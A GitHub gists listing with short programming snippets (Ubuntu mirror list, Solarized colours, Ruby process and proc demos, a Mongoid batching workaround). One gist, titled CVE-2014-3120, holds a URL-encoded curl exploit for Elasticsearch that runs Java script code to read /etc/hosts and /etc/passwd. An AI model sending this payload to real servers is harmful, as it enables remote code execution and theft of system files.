simsicon’s gists

simsicon / source.list

Created September 5, 2013 07:18

A source.list for ubuntu 13.04 Raring

	deb http://mirrors.163.com/ubuntu/ raring main universe restricted multiverse
	deb-src http://mirrors.163.com/ubuntu/ raring main universe restricted multiverse
	deb http://mirrors.163.com/ubuntu/ raring-security universe main multiverse restricted
	deb-src http://mirrors.163.com/ubuntu/ raring-security universe main multiverse restricted
	deb http://mirrors.163.com/ubuntu/ raring-updates universe main multiverse restricted
	deb http://mirrors.163.com/ubuntu/ raring-proposed universe main multiverse restricted
	deb-src http://mirrors.163.com/ubuntu/ raring-proposed universe main multiverse restricted
	deb http://mirrors.163.com/ubuntu/ raring-backports universe main multiverse restricted
	deb-src http://mirrors.163.com/ubuntu/ raring-backports universe main multiverse restricted
	deb-src http://mirrors.163.com/ubuntu/ raring-updates universe main multiverse restricted

simsicon / scheme.sass

Created September 11, 2013 15:11

Solarized Color Scheme

	$base03: #002b36
	$base02: #073642
	$base01: #586e75
	$base00: #657b83
	$base0: #839496
	$base1: #93a1a1
	$base2: #eee8d5
	$base3: #fdf6e3
	$yellow: #b58900
	$orange: #cb4b16

simsicon / fork_env.rb

Created September 22, 2013 07:46

ENV will inherit content from parent, not disturbed by siblings.

	ENV['p_name'] = 'master'
	puts "[master] pid: #{Process.pid} pname: #{ENV['p_name']}"

	p1 = Process.fork{
	puts "[p1] pid: #{Process.pid} pname: #{ENV['p_name']}"
	ENV['p_name'] = 'p1'
	puts "[p1] pid: #{Process.pid} pname: #{ENV['p_name']}"
	}

	p2 = Process.fork{

simsicon / api

Created October 22, 2013 15:28

RESTful API examples for Grit

	Examples built with referenced from https://github.com/mojombo/grit/blob/master/lib/grit/repo.rb

	POST /repos
	PARAMS
	bare: { type:Boolean, default:false }
	repo_name: { type:String, required:true }
	path: {type:String, required:true }
	REQUEST EXMAPLE
	{
	"bare":true,

simsicon / proc.rb

Created November 12, 2013 06:16

LocalJumpError

	def inner_proc
	_proc = Proc.new {return 42}
	puts _proc.call
	end

	def outter_proc(_proc)
	puts _proc.call
	end

	inner_proc # => 42

simsicon / assertions.rb

Created February 13, 2014 06:31

capybara minitest assertions comments

	##
	# Assertion that there is button
	#
	# see Capybara::Assertions#refute_button
	# see Capybara::Assertions#assert_no_button
	# see Capybara::expectations#must_have_button
	# see Capybara::expectations#wont_have_button
	# :method: assert_button

	##

simsicon / query.rb

Created March 13, 2014 08:48

Mongoid doesn't support find_in_batches, this is a work around for it.

	per_batch = 10
	0.step(User.count, per_batch) do \|offset\|
	puts User.limit(per_batch).skip(offset).map(&:username).inspect
	end

simsicon / time.rb

Last active August 29, 2015 14:00

Relative Time Dilation

	#
	# http://en.wikipedia.org/wiki/Time_dilation
	#

	C = 300000.0
	SECONDS_IN_YEAR = 365 * 24 * 3600

	def calculate(v, delta_t)
	relative_v = ( v * v ) / ( C * C )
	denominator = Math.sqrt( 1 - relative_v ).to_f

simsicon / gist:fc5ca57164dbd37be8f9

Created May 25, 2014 04:30

CVE-2014-3120

curl http://localhost:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery1111003201273805461824_1400992064967&_=1400992064968

simsicon / gist:5430754332730a365cc0

Created June 3, 2014 09:30

jsonp

	$.ajax
	type: 'GET'
	url: "http://crossdomain.com/data"
	async: true
	contentType: "application/json"
	dataType: 'jsonp'
	jsonpCallback: 'success_jsonpCallback'
	success: (response) ->
	console.log( response )